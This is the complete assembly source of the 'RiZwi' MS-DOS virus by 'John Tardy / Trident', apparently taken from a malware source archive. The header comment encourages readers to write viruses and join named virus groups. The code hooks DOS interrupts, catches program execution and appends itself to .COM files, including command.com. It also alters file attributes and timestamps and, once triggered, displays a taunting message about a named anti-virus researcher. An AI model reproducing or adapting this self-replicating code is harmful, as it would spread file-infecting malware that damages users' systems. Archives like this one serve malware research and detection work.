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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.rizwi.a86

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2021-01-12 23:55:26 +00:00
;
; RiZwi Virus by John Tardy / Trident V1.1
;
; This is a tom-resident .com infector, including command.com. it attaches
; itself at the eof. when the generation counter is between 200 and 240, a
; timer counter will be started. when it reached 5000 hex ticks, it will
; display a message with black chars and a red background in the upper corner.
; The message says an important fact of Righard Zwienenberg, who is known in
; The Netherlands as a anti-virus researcher. In fact, he did release a virus,
; named "DUTCH-555". I know he did it accidentally, but you should do it. You
; have to be on just one side, virus or antivirus. If you can't choose, then
; stop with computing. If you choose, I hope you choose our side. It has more
; possibilities and with your capabilities your virii could be well-known
; (look at the VSUM for your ratings). Maybe you even choose to be part of
; [NUkE] or Phalcon/Skism or even Trident.
;
; This is a bug-fix of V1.0, which kept the original interupt in the main
; program, thus simply hanging. This one has also a little debugger trap.
Org 100h
Prg: Call On1
On1: Pop Bp
Sub Bp,On1
Mov Ah,30h
Int 21h
Cmp Bx,'BC'
Je Tooz
Mov Ah,2ah
Int 21h
In Al,21h
Cmp Cx,1993
Ja MakeRes
Cmp Dh,4
Ja MakeRes
Tooz: Jmp DoCom
MakeRes: Or Al,02h
Push Ax
Mov Ax,351ch
Int 21h
Mov Word Ptr Cs:Old1c[0][Bp],Bx
Mov Word Ptr Cs:Old1c[2][Bp],es
Pop Ax
Out 21h,Al
CutIt: Mov Ax,3521h
Int 21h
Mov Word Ptr Cs:Old21[0][Bp],Bx
Mov Word Ptr Cs:Old21[2][Bp],Es
In Al,21h
And Al,2
Push Ax
Mov Ax,Cs
Dec Ax
Mov Ds,Ax
Cmp Byte Ptr Ds:[0],'Z'
Jne DoCom
Sub Word Ptr Ds:[3],PrgPar
Sub Word Ptr Ds:[12h],PrgPar
Lea Si,Prg[Bp]
Mov Di,100h
Pop Ax
Cmp Al,2
Jne CutIt
Mov Ax,Word Ptr Ds:[12h]
Sub Ax,10h
Mov Es,Ax
Mov Cx,PrgLen
Push Cs
Pop Ds
Rep Movsb
In Al,21h
Xor Al,2
Mov Ds,Es
Out 21h,Al
Mov Ax,251ch
Lea Dx,New1c
Int 21h
Mov Ax,2521h
Lea Dx,New21
Int 21h
DoCom: Push Cs
Pop Ds
Mov Es,Ds
Mov Di,100h
Push Di
Lea Si,OrgPrg[Bp]
Movsw
Movsb
Ret
OrgPrg DB 0CDh,020h
DB '<27>'
Db '[TridenT]'
Dos: Pushf
Call Dword Ptr Cs:[Old21]
Ret
Db '{V1.1 Bugfix}'
Old21 DD 0
New21: Cmp Ax,4b00h
Je Exec
Cmp Ah,30h
Jne EOI
Call Dos
Mov Bx,'BC'
Iret
EOI: Jmp Dword Ptr Cs:[Old21]
Exec: Push Ax
Push Bx
Push Cx
Push Dx
Push Si
Push Di
Push Ds
Push Es
Push Bp
Push Ds
Push Dx
Mov Ax,4300h
Call Dos
Mov FAttr,Cx
Xor Cx,Cx
Mov Ax,4301h
Call Dos
Mov Ax,3d02h
Call Dos
Mov FHandle,Ax
Xchg Ax,Bx
Mov Ax,5700h
Call Dos
Mov Word Ptr Cs:[FTime],Cx
Mov Word Ptr Cs:[FDate],Dx
And Cx,1fh
Cmp Cx,1fh
Jne DoMore
Close: Mov Ah,3eh
Call Dos
Pop Dx
Pop Ds
Mov Cx,FAttr
Mov Ax,4301h
Call Dos
Jmp ShutDown
DoMore: Mov Ah,3fh
Push Cs
Pop Ds
Lea Dx,OrgPrg
Mov Cx,3
Call Dos
Cmp Word Ptr Cs:[OrgPrg],'MZ'
Je Close
Cmp Word Ptr Cs:[OrgPrg],'ZM'
Je Close
Mov Ax,4202h
Xor Cx,Cx
Xor Dx,Dx
Call Dos
Sub Ax,3
Mov Jump,Ax
Mov Ah,40h
Lea Dx,Prg
Mov Cx,PrgLen
Call Dos
Mov Ax,4200h
Xor Cx,Cx
Xor Dx,Dx
Call Dos
Mov Ah,40h
Lea Dx,Start
Mov Cx,3
Call Dos
Mov Ax,5701h
Mov Cx,FTime
Mov Dx,FDate
Or Cx,1fh
Call Dos
Inc Byte Ptr Cs:[FileCount]
Jmp Close
ShutDown: Pop Bp
Pop Es
Pop Ds
Pop Di
Pop Si
Pop Dx
Pop Cx
Pop Bx
Pop Ax
Jmp EOI
Old1c DD 0
New1c: pushf
push ax
push cx
push si
push di
push ds
push es
Cmp Byte Ptr Cs:[FileCount],200
Jb EOI16
Cmp Byte Ptr Cs:[FileCount],240
Ja EOI16
Cmp Word Ptr Cs:[ActCount],5000h
Je Activate
Inc Word Ptr Cs:[ActCount]
Jmp EOI16
Activate:
Mov Ds,Cs
Mov Ax,0b800h
Mov Es,Ax
Lea Si,ScrMsg
Mov Di,160
Sub Di,ScrLen
Mov Cx,ScrLen
Rep MovSb
EOI16: pop es
pop ds
pop di
pop si
pop cx
pop ax
popf
iret
ScrMsg Db ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnObOeOrOgO OmOaOdOeO OtOhOeO ODOUOTOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O O'
ScrLen Equ $-ScrMsg
FileCount Db 0
ActCount Dw 0
Start Db 0e9h
Jump Dw 0
FAttr Dw 0
FHandle Dw 0
FDate Dw 0
FTime Dw 0
PrgLen Equ $-Prg
PrgPar Equ (PrgLen+0fh)/16
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